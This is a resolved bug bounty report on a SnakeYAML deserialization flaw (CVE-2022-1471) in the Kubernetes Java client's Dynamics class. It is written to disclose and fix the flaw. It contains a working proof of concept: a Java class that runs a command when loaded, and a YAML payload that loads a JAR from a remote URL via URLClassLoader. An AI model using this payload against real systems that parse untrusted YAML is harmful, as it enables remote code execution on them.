The `io.kubernetes.client.util.generic.dynamic.Dynamics` contains a code execution vulnerability due to SnakeYAML
Medium
K
Kubernetes
Submitted None
Actions:
Reported by
jlleitschuh
Vulnerability Details
Technical details and impact analysis
## Summary:
If the `io.kubernetes.client.util.generic.dynamic.Dynamics` is used to deserialize a `DynamicKubernetesObject `from untrusted YAML, an attacker can achieve code execution inside of the JVM.
Since this is a part of the public API, down stream consumers can be using this API in a way that leaves them vulnerable. I have found no users of this class on GitHub outside of this project's unit tests. But that doesn't mean there are no users of this API. Someone built it for a reason, right?
## Component Version:
Kubernettes Java Client version 17.0.0
## Steps To Reproduce:
1. Host a server with a JAR file containing the following code:
```java
package org.jlleitschuh.sandbox;
import javax.script.ScriptEngine;
import javax.script.ScriptEngineFactory;
import java.io.IOException;
import java.util.List;
public class ScriptEngineFactoryRCE implements ScriptEngineFactory {
static {
try {
Runtime r = Runtime.getRuntime();
Process p = r.exec("open -a Calculator");
p.waitFor();
} catch (IOException | InterruptedException e) {
throw new RuntimeException(e);
}
}
@Override
public String getEngineName() {
return null;
}
@Override
public String getEngineVersion() {
return null;
}
@Override
public List<String> getExtensions() {
return null;
}
@Override
public List<String> getMimeTypes() {
return null;
}
@Override
public List<String> getNames() {
return null;
}
@Override
public String getLanguageName() {
return null;
}
@Override
public String getLanguageVersion() {
return null;
}
@Override
public Object getParameter(String key) {
return null;
}
@Override
public String getMethodCallSyntax(String obj, String m, String... args) {
return null;
}
@Override
public String getOutputStatement(String toDisplay) {
return null;
}
@Override
public String getProgram(String... statements) {
return null;
}
@Override
public ScriptEngine getScriptEngine() {
return null;
}
}
```
The jar file must contain a file `/META-INF/services/javax.script.ScriptEngineFactory` with the contents `org.jlleitschuh.sandbox.ScriptEngineFactoryRCE # Our RCE Payload`
Host this jar file from a local server's root path.
Then call the `Dynamics` yaml parsing APIs with the following payload:
```yaml
!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ["http://localhost:8080/"]]]]
```
## Fix
The SnakeYAML parser should be instantiated with the argument `new SafeConstructor()` in order to not be vulnerable to arbitrary deserialization.
## Supporting Material/References:
- https://bitbucket.org/snakeyaml/snakeyaml/issues/561/cve-2022-1471-vulnerability-in (I'm currently attempting to convince the maintainer of SnakeYaml to make this library secure by default, with limited sucsess)
- https://nvd.nist.gov/vuln/detail/CVE-2022-1471
- https://github.com/google/security-research/security/advisories/GHSA-mjmj-j48q-9wg2
## Impact
If this Dynamics class is used to parse untrusted YAML, an attacker can achieve remote code execution
Related CVEs
Associated Common Vulnerabilities and Exposures
CVE-2022-1471
HIGH
SnakeYaml's Constructor() class does not restrict types which can be instantiated during deserialization. Deserializing yaml content provided by an attacker can lead to remote code execution. We recommend using SnakeYaml's SafeConsturctor when parsing untrusted content to restrict deserialization. We recommend upgrading to version 2.0 and beyond.
Report Details
Additional information and metadata
State
Closed
Substate
Resolved
Bounty
$1000.00
Submitted
Weakness
Code Injection